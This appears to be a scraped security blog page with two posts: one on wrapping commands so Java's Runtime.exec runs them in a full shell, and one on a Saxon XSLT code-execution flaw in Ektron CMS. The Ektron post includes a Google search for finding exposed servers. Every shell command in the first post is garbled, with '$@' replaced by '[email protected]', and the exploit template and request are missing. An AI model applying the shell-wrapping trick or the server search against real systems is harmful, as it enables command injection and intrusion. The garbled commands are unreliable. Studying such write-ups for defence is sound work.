Well, the reason for that is that the command passed to Runtime.exec is not executed by a shell. Instead, if you dig down though the Java source code, you'll end up in the UNIXProcess class, which reveals that calling Runtime.exec results in a fork and exec call on Unix platforms.

Nonetheless, I'll show you a way to still get commands executed in a proper shell.

For testing, we'll use this Java example:

We call this class as shown below with single quotes around the command line to ensure that our shell passes the command line argument to Java as is:


$ java Exec 'command arg1 arg2 ...'

Your first thought on a solution to this might be: "Ok, I'll just use sh -c command to execute command in the shell."

That is correct, but here is the catch: Since only the first argument following -c is interpreted as shell command, the whole shell command must be passed as a single argument. And if you take a closer look at how the string passed to Runtime.exec is processed, you'll see that Java uses a StringTokenizer that splits the command at any white-space character.

If you are thinking of quoting the command parameter string like uname -a as follows:


$ java Exec 'sh -c "uname -a"'

this won't work. Remember: We're not in a shell yet, and Runtime.exec does only take white-spaces as argument separators into account.

So, what is the other option that we have?

The key is in the sh -c command, but we won't execute the command directly but build a command that itself spawns another shell that then executes our command. Though it sounds complicated, we'll derive it step by step.

How it works

The secret key to this is the special parameter @, which expands to the positional parameters when referenced with [email protected], starting from parameter one:


$ java Exec 'sh -c [email protected]'

But how do we pass the actual command? Well, if the shell is invoked with -c, any remaining arguments after the command argument are assigned to the positional parameters, starting with $0. So when [email protected] is expanded by the shell with the following invocation:


$ java Exec 'sh -c [email protected] 0 1 2 3 4 5'

It results in 1 2 3 4 5. The 0-th parameter does not appear in the expansion result as it, by convention, should be the file name associated with the file being executed. We can see the result by adding a echo in place of the $1 parameter:


$ java Exec 'sh -c [email protected] 0 echo 1 2 3 4 5'

Here the shell first expands [email protected] to echo 1 2 3 4 5 and then executes it.

But this is still not better than the simple sh -c command, as we still have no support of pipes, redirections, quoting or expansion.

The reason for this is that the [email protected] expansion does not result in a restart of the command interpretation.

The solution to a fully functional shell is sh's ability to allow the commands to be passed via standard input. So, if we use another echo to echo our command and pipe it to sh, we'll get our command executed by sh entirely:


$ java Exec 'sh -c [email protected]|sh . echo command'

Now we have all shell features available!

The only thing to remember is that any white-space sequences vital in your command must be encoded somehow as otherwise it would be eaten by Java's StringTokenizer, e.g.:


$ java Exec 'sh -c [email protected]|sh . echo /bin/echo -e "tab\trequired"'

And to anyone who is interested in what the process tree looks like:


$ java Exec 'sh -c [email protected]|sh . echo ps ft'
PID TTY STAT TIME COMMAND
27109 pts/25 Ss 0:03 /bin/bash
6904 pts/25 Sl+ 0:00 \_ java Exec sh -c [email protected]|sh . echo ps ft
6914 pts/25 S+ 0:00 \_ sh -c [email protected]|sh . echo ps ft
6916 pts/25 S+ 0:00 \_ sh
6917 pts/25 R+ 0:00 \_ ps ft

Exploiting the hidden Saxon XSLT Parser in Ektron CMS

2 March 2015 at 13:54

Another vulnerability I came across was in Ektron CMS. It's a .NET-based Web CMS System. If you want to find running instances try "inurl:/workarea filetype:asmx" at Google. The interesting thing about is that Microsoft already reported the initial vulnerability as MSVR12-016 (CVE-2012-5357), but I found a different vector to exploit it.

Summary

From US CERT VU#110652:
Ektron Content Management System version 8.5, 8.7, and 9.0 contain a resource injection vulnerability by using an improperly configured XML parser. By default, Ektron utilizes the Microsoft XML parser to parse XSLT documents, which is not vulnerable. If an attacker specifies use of the Saxon XSLT parser instead, and sends it a specially crafted XSLT document, the attacker may be able to run arbitrary code at the privilege level of the application.

Vulnerability Details

During information gathering, I found several Web services exposed on the Ektron CMS system. One of them was
http://[host]/Workarea/ServerControlWS.asmx
Looking at the WSDL, there was the SOAP method ContentBlockEx, having a parameter that nearly jumped into my face: xslt.

If you can get your data parsed by a XSLT parser, that's almost like hitting the jackpot. The problem was that Ektron already patched the vulnerability by hardening the MSXML parser. Nevertheless, XXE was still possible - but I couldn't get any helpful information out of the system. There was also another vulnerability that allowed me to list directories. Finally, I found the directory with all .net DLL's. After browsing through the directory, I finally found something interesting. There were several saxon9*.dlls. From my former times, I could remember that Saxon allows me to parse XSLT. So I had a look at the documentation at Saxon Function Library.

Looking at the different namespaces, I found several interesting functions working with files, etc. After browsing through the Saxon documentation, I finally found an interesting paragraph Saxon Calling Static Methods in a .NET ClassFrom this, it seemed like I could call static functions of .net CRL classes from Saxon :-)

So I created the following XSLT template:


Putting it all together, the final SOAP request looks like this:

Vendor Response

I wasn't involved, although CERT tried to contact them with no luck.

The fix

Ektron released a Security Update 2 (Releases 8.02 SP5 to 9.10 SP1). To my amazement, Ektron told CERT the following:
This was patched via a cumulative security patcher that was made available Oct 9, 2013 that would apply the updates to versions 8.0.2 to 9.0. The current version of the patcher is available at: https://portal.ektron.com/News/Security/Security_Notice_-_11-25-14/ 8.7sp2 (released 8/16/2013), 9.0sp1 (released 8/19/2013), and 9.1 (released 8/28/2014) were all released with the fix in place. Subsequent service packs also contain the fixes for those versions
To be honest, I don't think this statement is true. What Ektron did in 2013 was to reconfigure Ektron CMS to expose the Web services only on localhost by default. An administrator can still reconfigure it. Nevertheless, with "Security Update 2", all the parser hardening was hopefully implemented. I haven't verified it yet because there is no public download available for the latest version.
  • There are no more articles
❌